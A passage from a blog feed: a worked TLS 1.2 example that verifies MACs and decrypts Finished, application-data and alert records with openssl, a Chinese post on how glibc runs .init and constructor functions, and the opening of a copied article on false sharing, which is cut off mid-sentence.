MAC_write_key = client_write_MAC_key = 1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
TLSCipherText.seq_num = 0000000000000000
TLSCipherText.type = 16
TLSCipherText.version = 0303
TLSCipherText.length = 0050 - 0020 = 0030 # 这里要特别注意要先减掉MAC的长度
ENC(content + padding + padding_length) = 07cd280b6164bfae460822903456823a5eb44ae051bddf9b344492671b6c2244

MAC(MAC_write_key, seq_num +
 TLSCipherText.type +
 TLSCipherText.version +
 TLSCipherText.length +
 IV +
 ENC(content + padding + padding_length)) = 609203e8d4f70912375630b7ae1f7b6758d572ce4e3689a65a90d3152f531a6c

$ echo &amp;quot;00000000000000001603030030989c707f7bb2d19d3870c1b0818d609707cd280b6164bfae460822903456823a5eb44ae051bddf9b344492671b6c2244&amp;quot; | xxd -r -p | openssl dgst -sha256 -mac hmac -macopt hexkey:1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
结果：609203e8d4f70912375630b7ae1f7b6758d572ce4e3689a65a90d3152f531a6c

得到的MAC与实际抓包数据一致

###### 解密block-ciphered text ######

client_write_key = 2b492656fc20fc2b103fc49e707bd658
block-ciphered text = 07cd280b6164bfae460822903456823a5eb44ae051bddf9b344492671b6c2244
iv = 989c707f7bb2d19d3870c1b0818d6097

$ echo &amp;quot;07cd280b6164bfae460822903456823a5eb44ae051bddf9b344492671b6c2244&amp;quot; | xxd -r -p | openssl aes-128-cbc -d -K 2b492656fc20fc2b103fc49e707bd658 -iv 989c707f7bb2d19d3870c1b0818d6097 -nopad | xxd -p
结果：1400000cb776a81f5cb028809bf747140f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f

14 - handshake type:finished
00000c - length
b776a81f5cb028809bf74714 - verify data
0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f - padding[padding_length] + padding_length

解密后得到的verify_data与前面计算结果一致
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Server finished message的解析过程类似，理论层面不再赘述，直接代入具体数值计算&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;###### 计算verify data ######
handshake_messages = client hello + client hello + server hello + server hello done + client key exchange + client finished = 010000790303369e43088760b8b1e061cdd81f4bab5ee13808c2d9d5509d92613eaf6255f6be00000400ae00ff0100004c0000000e000c0000096c6f63616c686f7374002300000016000000170000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602020000550303c5b4a2ca4efb20217475fc9f917838ee4730748f8ed9e456a9bf940d55ebcb22209ee6cbc277addb290552ebce6081fa7143635b9bc93184f08809dcd0218aff4800ae00000dff0100010000160000001700000e0000001000000b00096d795f70736b5f69641400000cb776a81f5cb028809bf74714

要特别注意上面拼接的client finished是加密前的消息体：1400000cb776a81f5cb028809bf74714

A(0) = seed = &amp;quot;server finished&amp;quot; + SHA256(handshake_messages) = 7365727665722066696e6973686564f9387601c17d5a57310b1828cf9b4a7df5e0933e8e89b92ef50f89f7c992a61b
A(1) = HMAC_SHA256(master_secret, A(0)) = bb74f4bb302f4772c8c3392daa762cac19ec98646eff3af80c8cdbff062dc923

HMAC_SHA256(master_secret, A(1) + seed) = ae30c192dbcd56cbcc927f0576b392cfbfb2a25d0745be165cfb0610fc69bc2f

verify_data = PRF(master_secret, seed)[0..11] = P_SHA256(master_secret, seed)[0..11] = HMAC_SHA256(master_secret, A(1) + seed)[0..11] = ae30c192dbcd56cbcc927f05

###### 校验MAC ######
16 03 03 00 50 41 54 6e f1 7a 2a 3f 1d 0f 26 29 95 7f ba 0a f2 d8 4b 4a 9a c5 b3 b4 71 2e ef 70 fa 39 17 5e cc 90 9f 33 16 c2 e3 ad 4a 3c 95 f1 fe 90 cd cc a1 98 d8 7c 0a b4 d6 50 3a fa 6a 16 f5 6e ff 06 77 a7 f4 66 db d2 fb b4 be cf 8d 7b c8 7c 78 78 71

iv: 41546ef17a2a3f1d0f2629957fba0af2
block-ciphered text: d84b4a9ac5b3b4712eef70fa39175ecc909f3316c2e3ad4a3c95f1fe90cdcca1
mac: 98d87c0ab4d6503afa6a16f56eff0677a7f466dbd2fbb4becf8d7bc87c787871

MAC_write_key = server_write_MAC_key = af14436461232f2786d91eaf9ea2465e20cb7f7ea796fd9a3cbeac872f3a5276
TLSCipherText.seq_num = 0000000000000000
TLSCipherText.type = 16
TLSCipherText.version = 0303
TLSCipherText.length = 0050 - 0020 = 0030 # 减掉MAC的长度
ENC(content + padding + padding_length) = d84b4a9ac5b3b4712eef70fa39175ecc909f3316c2e3ad4a3c95f1fe90cdcca1

MAC(MAC_write_key, seq_num +
 TLSCipherText.type +
 TLSCipherText.version +
 TLSCipherText.length +
 IV +
 ENC(content + padding + padding_length)) = 98d87c0ab4d6503afa6a16f56eff0677a7f466dbd2fbb4becf8d7bc87c787871

$ echo &amp;quot;0000000000000000160303003041546ef17a2a3f1d0f2629957fba0af2d84b4a9ac5b3b4712eef70fa39175ecc909f3316c2e3ad4a3c95f1fe90cdcca1&amp;quot; | xxd -r -p | openssl dgst -sha256 -mac hmac -macopt hexkey:af14436461232f2786d91eaf9ea2465e20cb7f7ea796fd9a3cbeac872f3a5276
结果：98d87c0ab4d6503afa6a16f56eff0677a7f466dbd2fbb4becf8d7bc87c787871

得到的MAC与实际抓包数据一致

###### 解密block-ciphered text ######
server_write_key = 26203fabe4fe7aa49f18e4d66a5189fc
block-ciphered text = d84b4a9ac5b3b4712eef70fa39175ecc909f3316c2e3ad4a3c95f1fe90cdcca1
iv = 41546ef17a2a3f1d0f2629957fba0af2

$ echo &amp;quot;d84b4a9ac5b3b4712eef70fa39175ecc909f3316c2e3ad4a3c95f1fe90cdcca1&amp;quot; | xxd -r -p | openssl aes-128-cbc -d -nopad -K 26203fabe4fe7aa49f18e4d66a5189fc -iv 41546ef17a2a3f1d0f2629957fba0af2  | xxd -p
结果：1400000cae30c192dbcd56cbcc927f050f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f

14 - handshake type:finished
00000c - length
ae30c192dbcd56cbcc927f05 - verify data
0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f - padding[padding_length] + padding_length

解密后得到的verify_data与前面计算结果一致
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;client application data及server application data的加密及MAC计算与Finished也是一样的，这里只演示client application data的计算&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;###### 校验MAC ######
Client Application Data

17 03 03 00 40 19 77 d0 be 1f b4 83 f9 53 6d 8c f5 06 05 b3 10 e9 98 68 ed bf 30 93 e1 74 cc 22 3a 3b 31 a3 93 26 e2 0c 1c c3 c8 eb d9 f6 ec 11 5a b5 a1 bd 65 7c 28 e4 5b 0d c5 08 65 b7 f3 4a 93 91 83 8a 3a

iv:1977d0be1fb483f9536d8cf50605b310
block-ciphered text:e99868edbf3093e174cc223a3b31a393
mac:26e20c1cc3c8ebd9f6ec115ab5a1bd657c28e45b0dc50865b7f34a9391838a3a

MAC_write_key = client_write_MAC_key = 1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
TLSCipherText.seq_num = 0000000000000001
TLSCipherText.type = 17
TLSCipherText.version = 0303
TLSCipherText.length = 0040 - 0020 = 0020 # 减掉MAC的长度
ENC(content + padding + padding_length) = e99868edbf3093e174cc223a3b31a393

MAC(MAC_write_key, seq_num +
 TLSCipherText.type +
 TLSCipherText.version +
 TLSCipherText.length +
 IV +
 ENC(content + padding + padding_length)) = 26e20c1cc3c8ebd9f6ec115ab5a1bd657c28e45b0dc50865b7f34a9391838a3a

$ echo &amp;quot;000000000000000117030300201977d0be1fb483f9536d8cf50605b310e99868edbf3093e174cc223a3b31a393&amp;quot; | xxd -r -p | openssl dgst -mac hmac -sha256 -macopt hexkey:1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
结果：26e20c1cc3c8ebd9f6ec115ab5a1bd657c28e45b0dc50865b7f34a9391838a3a

得到的MAC与实际抓包数据一致

###### 解密block-ciphered text ######
client_write_key = 2b492656fc20fc2b103fc49e707bd658
block-ciphered text = e99868edbf3093e174cc223a3b31a393
IV = 1977d0be1fb483f9536d8cf50605b310

$ echo &amp;quot;e99868edbf3093e174cc223a3b31a393&amp;quot; | xxd -r -p | openssl enc -aes-128-cbc -d -nopad -K 2b492656fc20fc2b103fc49e707bd658 -iv 1977d0be1fb483f9536d8cf50605b310 | xxd -p
结果：6869207365727665720a050505050505

6869207365727665720a - hi server\n
050505050505 - padding[padding_length] + padding_length

得到client发送的明文是&amp;quot;hi server\n&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解密Alert(Client Close Notify)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;###### 校验MAC ######
15 03 03 00 40 4f aa 08 0c ec c9 19 a0 87 e5 8d f8 69 49 70 54 ac bf 46 58 d5 76 18 1e 22 77 57 1b 86 9d 03 c5 b5 4d 7b 2b a1 e8 29 00 07 23 41 be e6 ad c0 23 61 ec b6 d3 83 dd 0f ed 06 43 c5 03 c9 89 4c ac

iv:4faa080cecc919a087e58df869497054
block-ciphered text:acbf4658d576181e2277571b869d03c5
mac:b54d7b2ba1e82900072341bee6adc02361ecb6d383dd0fed0643c503c9894cac

MAC_write_key = client_write_MAC_key = 1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
TLSCipherText.seq_num = 0000000000000002
TLSCipherText.type = 15
TLSCipherText.version = 0303
TLSCipherText.length = 0040 - 0020 = 0020 # 减掉MAC的长度
ENC(content + padding + padding_length) = acbf4658d576181e2277571b869d03c5

MAC(MAC_write_key, seq_num +
 TLSCipherText.type +
 TLSCipherText.version +
 TLSCipherText.length +
 IV +
 ENC(content + padding + padding_length)) = b54d7b2ba1e82900072341bee6adc02361ecb6d383dd0fed0643c503c9894cac

$ echo &amp;quot;000000000000000215030300204faa080cecc919a087e58df869497054acbf4658d576181e2277571b869d03c5&amp;quot; | xxd -r -p | openssl dgst -mac hmac -sha256 -macopt hexkey:1ae8a34eaeee0c7a2023ebdc307427736ca15a69f76e933f10f7bdd6c7ea4ac1
结果：b54d7b2ba1e82900072341bee6adc02361ecb6d383dd0fed0643c503c9894cac

得到的MAC与实际抓包数据一致

###### 解密block-ciphered text ######
client_write_key = 2b492656fc20fc2b103fc49e707bd658
block-ciphered text = acbf4658d576181e2277571b869d03c5
IV = 4faa080cecc919a087e58df869497054

$ echo &amp;quot;acbf4658d576181e2277571b869d03c5&amp;quot; | xxd -r -p | openssl enc -aes-128-cbc -d -nopad -K 2b492656fc20fc2b103fc49e707bd658 -iv 4faa080cecc919a087e58df869497054 | xxd -p
结果：01000d0d0d0d0d0d0d0d0d0d0d0d0d0d

01 - level: Warning
00 - description: close notify
0d0d0d0d0d0d0d0d0d0d0d0d0d0d - padding[padding_length] + padding_length
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;issue19-glibcde-gou-zao-han-shu-he-xi-gou-han-shu&quot;&gt;issue19 glibc的构造函数和析构函数&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;19&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;19 - GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;ELF可执行程序默认入口是&lt;code&gt;_start&lt;&#x2F;code&gt;，定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lattera&#x2F;glibc&#x2F;blob&#x2F;master&#x2F;sysdeps&#x2F;x86_64&#x2F;start.S&quot;&gt;glibc&#x2F;sysdeps&#x2F;x86_64&#x2F;start.S&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;_start在执行main函数前后会执行一些初始化和结尾工作，可以使用&lt;code&gt;__attribute__((constructor))&lt;&#x2F;code&gt;和&lt;code&gt;__attribute__((section(&quot;.init&quot;)))&lt;&#x2F;code&gt;让函数在main函数调用之前调用，使用&lt;code&gt;__attribute__((destructor))&lt;&#x2F;code&gt;和&lt;code&gt;__attribute__((section(&quot;.fini&quot;)))&lt;&#x2F;code&gt;让函数在main函数返回之后或调用exit()时调用&lt;&#x2F;p&gt;
&lt;p&gt;接下来对具体实现过程进行分析&lt;&#x2F;p&gt;
&lt;p&gt;使用__attribute__((constructor)) 声明普通函数foo&lt;&#x2F;p&gt;
&lt;p&gt;测试代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#include &amp;lt;stdio.h&amp;gt;

void
__attribute__((constructor)) foo()
{
    printf(&amp;quot;%s...\n&amp;quot;, __FUNCTION__);
}

int main()
{
    printf(&amp;quot;main...\n&amp;quot;);
    return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看.text段汇编代码，可以看到foo函数存储在.text段&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
Disassembly of section .text:

. . .

0000000000000720 &amp;lt;foo&amp;gt;:

 720:    55                       push   %rbp

 721:    48 89 e5                 mov    %rsp,%rbp

 724:    48 8d 35 ec 00 00 00     lea    0xec(%rip),%rsi        # 817 &amp;lt;__FUNCTION__.2210&amp;gt;

 72b:    48 8d 3d d6 00 00 00     lea    0xd6(%rip),%rdi        # 808 &amp;lt;_IO_stdin_used+0x8&amp;gt;

 732:    b8 00 00 00 00           mov    $0x0,%eax

 737:    e8 94 fe ff ff           callq  5d0 &amp;lt;printf@plt&amp;gt;

 73c:    90                       nop

 73d:    5d                       pop    %rbp

 73e:    c3                       retq

. . .

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么foo是怎么被调用的呢，使用gdb看下调用堆栈&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gdb a.out
(gdb) b foo
Breakpoint 1 at 0x724: file test.c, line 6.
(gdb) start
Temporary breakpoint 2 at 0x762: file test.c, line 30.
Starting program: &amp;#x2F;home&amp;#x2F;cike&amp;#x2F;a.out

Breakpoint 1, foo () at test.c:6
6        printf(&amp;quot;%s...\n&amp;quot;, __FUNCTION__);
(gdb) bt
#0  foo () at test.c:6
#1  0x00005555555547cd in __libc_csu_init ()
#2  0x00007ffff7a5a240 in __libc_start_main (main=0x55555555475e &amp;lt;main&amp;gt;, argc=1, argv=0x7fffffffcd58,
    init=0x555555554780 &amp;lt;__libc_csu_init&amp;gt;, fini=&amp;lt;optimized out&amp;gt;, rtld_fini=&amp;lt;optimized out&amp;gt;,
    stack_end=0x7fffffffcd48) at ..&amp;#x2F;csu&amp;#x2F;libc-start.c:247
#3  0x000055555555461a in _start ()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到foo最终被__libc_csu_init调用&lt;&#x2F;p&gt;
&lt;p&gt;__libc_csu_init在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lattera&#x2F;glibc&#x2F;blob&#x2F;master&#x2F;csu&#x2F;elf-init.c&quot;&gt;glibc&#x2F;csu&#x2F;elf-init.c&lt;&#x2F;a&gt;，其中调用foo函数为以下几行代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i &amp;lt; size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;__init_array_end&lt;&#x2F;code&gt;和&lt;code&gt;__init_array_start&lt;&#x2F;code&gt;符号是在链接控制脚本中定义的&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;code&gt;$ ld -verbose&lt;&#x2F;code&gt;查看当前使用的链接控制脚本&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;...
  .init_array     :
  {
    PROVIDE_HIDDEN (__init_array_start = .);
    KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*)))
    KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors))
    PROVIDE_HIDDEN (__init_array_end = .);
  }
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它们的值分别是.init_array的起始地址的结束地址&lt;&#x2F;p&gt;
&lt;p&gt;查看.init_array的16进制数据&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -x .init_array a.out

Hex dump of section &amp;#x27;.init_array&amp;#x27;:
  0x00200dc8 f0060000 00000000 20070000 00000000 ........ .......
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到&lt;code&gt;0x2007(小端)&lt;&#x2F;code&gt;即是函数foo的地址&lt;code&gt;0x720&lt;&#x2F;code&gt;，即.init_array存放的就是构造函数的地址值&lt;&#x2F;p&gt;
&lt;p&gt;接下来分析将函数放在.init段情况，使用&lt;code&gt;__attribute__((section(&quot;.init&quot;)))&lt;&#x2F;code&gt;声明普通函数bar，测试代码如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void
__attribute__((section(&amp;quot;.init&amp;quot;))) bar()
{
    printf(&amp;quot;%s...\n&amp;quot;, __FUNCTION__);
}

int main()
{
    printf(&amp;quot;main...\n&amp;quot;);
    return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看.init段内容，可以看到该函数存在于.init段&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
$ objdump -d -j .init a.out

a.out:     file format elf64-x86-64

Disassembly of section .init:

0000000000000598 &amp;lt;_init&amp;gt;:

 598:    48 83 ec 08              sub    $0x8,%rsp

 59c:    48 8b 05 3d 0a 20 00     mov    0x200a3d(%rip),%rax        # 200fe0 &amp;lt;__gmon_start__&amp;gt;

 5a3:    48 85 c0                 test   %rax,%rax

 5a6:    74 02                    je     5aa &amp;lt;bar&amp;gt;

 5a8:    ff d0                    callq  *%rax

00000000000005aa &amp;lt;bar&amp;gt;:

 5aa:    55                       push   %rbp

 5ab:    48 89 e5                 mov    %rsp,%rbp

 5ae:    48 8d 35 86 02 00 00     lea    0x286(%rip),%rsi        # 83b &amp;lt;__FUNCTION__.2213&amp;gt;

 5b5:    48 8d 3d 6c 02 00 00     lea    0x26c(%rip),%rdi        # 828 &amp;lt;_IO_stdin_used+0x8&amp;gt;

 5bc:    b8 00 00 00 00           mov    $0x0,%eax

 5c1:    e8 2a 00 00 00           callq  5f0 &amp;lt;printf@plt&amp;gt;

 5c6:    90                       nop

 5c7:    5d                       pop    %rbp

 5c8:    c3                       retq

 5c9:    48 83 c4 08              add    $0x8,%rsp

 5cd:    c3                       retq

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用gdb查看调用堆栈&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
(gdb) b _init

Breakpoint 1 at 0x598

(gdb) b bar

Breakpoint 2 at 0x5ae: file test.c, line 15.

(gdb) start

Temporary breakpoint 3 at 0x782: file test.c, line 30.

Starting program: &amp;#x2F;home&amp;#x2F;cike&amp;#x2F;a.out

Breakpoint 1, _init (argc=1, argv=0x7fffffffcd58, envp=0x7fffffffcd68) at ..&amp;#x2F;csu&amp;#x2F;init-first.c:52

52    ..&amp;#x2F;csu&amp;#x2F;init-first.c: No such file or directory.

(gdb) c

Continuing.

Breakpoint 1, 0x0000555555554598 in _init ()

(gdb) bt

#0  0x0000555555554598 in _init ()

#1  0x00005555555547d1 in __libc_csu_init ()

#2  0x00007ffff7a5a240 in __libc_start_main (main=0x55555555477e &amp;lt;main&amp;gt;, argc=1, argv=0x7fffffffcd58,

    init=0x5555555547a0 &amp;lt;__libc_csu_init&amp;gt;, fini=&amp;lt;optimized out&amp;gt;, rtld_fini=&amp;lt;optimized out&amp;gt;,

    stack_end=0x7fffffffcd48) at ..&amp;#x2F;csu&amp;#x2F;libc-start.c:247

#3  0x000055555555463a in _start ()

(gdb) s

Single stepping until exit from function _init,

which has no line number information.

bar () at test.c:14

14    {

(gdb) bt

#0  bar () at test.c:14

#1  0x00007fffffffcd58 in ?? ()

#2  0x00005555555547d1 in __libc_csu_init ()

#3  0x00007ffff7a5a240 in __libc_start_main (main=0x55555555477e &amp;lt;main&amp;gt;, argc=1, argv=0x7fffffffcd58,

    init=0x5555555547a0 &amp;lt;__libc_csu_init&amp;gt;, fini=&amp;lt;optimized out&amp;gt;, rtld_fini=&amp;lt;optimized out&amp;gt;,

    stack_end=0x7fffffffcd48) at ..&amp;#x2F;csu&amp;#x2F;libc-start.c:247

#4  0x000055555555463a in _start ()

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出调用堆栈为&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#0 func1()
#1 _init()
#2 __libc_csu_init ()
#3 __libc_start_main()
#4 _start ()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面gdb在_init打断点再使用&lt;code&gt;s&lt;&#x2F;code&gt;命令继续执行是为了证明&lt;code&gt;#1  0x00007fffffffcd58 in ?? ()&lt;&#x2F;code&gt;的&lt;code&gt;??&lt;&#x2F;code&gt;是&lt;code&gt;_init&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;_init函数定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lattera&#x2F;glibc&#x2F;blob&#x2F;master&#x2F;sysdeps&#x2F;x86_64&#x2F;crti.S&quot;&gt;glibc&#x2F;sysdeps&#x2F;x86_64&#x2F;crti.S&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;且从__libc_csu_init代码可以看出.init段中的函数是在__init_array_start函数指针调用之前调用的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void __libc_csu_init (int argc, char **argv, char **envp)
{
...
  _init ();
  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i &amp;lt; size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;值得注意的是，将bar函数指定存放在.init段执行会导致程序崩溃&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;《程序员的自我修养》第11.2.3节：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;普通函数放在.init是会破坏它们的结构的，因为函数的返回指令使得_init()函数会提前返回，必须使用汇编指令，不能让编译器产生ret指令&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;分析了__attribute__((constructor))和__attribute__((section(&quot;.init&quot;)))，其实__attribute__((destructor))和__attribute__((section(&quot;.fini&quot;)))的实现原理也类似，.fini对应.init, .fini_array对应.init_array，且这些函数都是通过__cxa_atexit函数进行注册，最终在程序调用exit()时被调用&lt;&#x2F;p&gt;
&lt;p&gt;在学习过程中还了解到.ctors和.dctors段，但是在实际编译过程却未见到这两个段，应该是跟gcc版本有关系，可参考以下链接
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;27900834&#x2F;do-global-ctors-aux-not-shown-in-objdump&quot;&gt;__do_global_ctors_aux not shown in objdump&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;28564078&#x2F;why-does-gcc-put-calls-to-constructors-of-global-instances-into-different-sectio&quot;&gt;Why does GCC put calls to constructors of global instances into different sections (depending on the target)?&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;16569495&#x2F;cant-find-dtors-and-ctors-in-binary&quot;&gt;Can&#x27;t find .dtors and .ctors in binary&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bei-zhu&quot;&gt;备注&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;普通函数放在.init是会破坏它们的结构的，因为函数的返回指令使得_init()函数会提前返回，必须使用汇编指令，不能让编译器产生ret指令&lt;&#x2F;p&gt;
&lt;p&gt;你好，关于这部分如何使用汇编将函数写入init节中有简单的demo吗，比如在init节中调用c语言的一个函数&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;可以在.init中添加一段调用指定C函数的汇编代码&lt;code&gt;call hello_init&lt;&#x2F;code&gt;，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bytes.com&#x2F;topic&#x2F;c&#x2F;answers&#x2F;571153-how-can-i-use-init-finit-section-elf-shared-object&quot;&gt;How can I use .init and .finit section of ELF shared object?&lt;&#x2F;a&gt;这篇文章&lt;&#x2F;p&gt;
&lt;p&gt;示例代码如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;__asm__ (&amp;quot;.section .init \n call bar \n&amp;quot;);

void bar() {
        printf(&amp;quot;%s...\n&amp;quot;, __FUNCTION__);
}

int main()
{
	 printf(&amp;quot;main...\n&amp;quot;);
	     return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里解释一下：&lt;code&gt;__attribute__((section(&quot;.init&quot;))) bar()&lt;&#x2F;code&gt;会崩溃而上述代码不会崩溃是因为上述代码使用了call指令调用bar函数而不是je，call会将函数调用返回地址入栈，所以bar函数的retq指令可以正确返回&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>False sharing</title>
        <published>2024-04-17T00:00:00+00:00</published>
        <updated>2024-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/false-sharing/"/>
        <id>https://vercel.juzhong.asia/obsidian/false-sharing/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/false-sharing/">&lt;h1 id=&quot;false-sharing&quot;&gt;False sharing&lt;&#x2F;h1&gt;
&lt;p&gt;In &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Computer science&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Computer_science&quot;&gt;computer science&lt;&#x2F;a&gt;, &lt;strong&gt;false sharing&lt;&#x2F;strong&gt; is a performance-degrading usage pattern that can arise in systems with distributed, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Cache coherence&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cache_coherence&quot;&gt;coherent caches&lt;&#x2F;a&gt; at the size of the smallest resource block managed by the caching mechanism. When a system participant attempts to periodically access data that is not being altered by another party, but that data shares a cache block with data that &lt;em&gt;is&lt;&#x2F;em&gt; being altered, the caching protocol may force the first participant to reload the whole cache block despite a lack of logical necessity.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;False_sharing#cite_note-Patterson_2012_p._537-1&quot;&gt;[1]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; The caching system is unaware of activity within this block and forces the first participant to bear the caching system overhead required by true shared access of a resource.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;multiprocessor-cpu-caches&quot;&gt;Multiprocessor CPU caches&lt;&#x2F;h2&gt;
&lt;p&gt;By far the most common usage of this term is in modern &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Multiprocessor&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Multiprocessor&quot;&gt;multiprocessor&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;CPU cache&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;CPU_cache&quot;&gt;CPU caches&lt;&#x2F;a&gt;, where &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Random access memory&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Random_access_memory&quot;&gt;memory&lt;&#x2F;a&gt; is cached in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Cache line&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cache_line&quot;&gt;lines&lt;&#x2F;a&gt; of some small &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Power of two&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Power_of_two&quot;&gt;power of two&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Word_(data_type)&quot;&gt;word&lt;&#x2F;a&gt; &quot;Word (data type)&quot;) size (e.g., 64 &lt;a rel=&quot;noopener&quot; 